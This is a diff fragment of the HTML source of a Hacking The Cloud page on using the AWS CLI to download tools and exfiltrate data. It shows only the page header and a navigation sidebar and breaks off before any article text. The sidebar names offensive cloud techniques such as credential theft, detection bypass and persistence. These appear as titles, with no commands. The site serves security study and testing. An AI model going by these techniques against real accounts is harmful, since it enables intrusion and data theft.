+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><link href=https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ rel=canonical><link href=../create_a_console_session_from_iam_credentials/ rel=prev><link href=../get_iam_creds_from_console_session/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud"><meta property=og:description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Download Tools and Exfiltrate Data with the AWS CLI - Hacking The Cloud"><meta property=twitter:description content="Using the AWS CLI as a LOLScript to download and exfiltrate data."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title 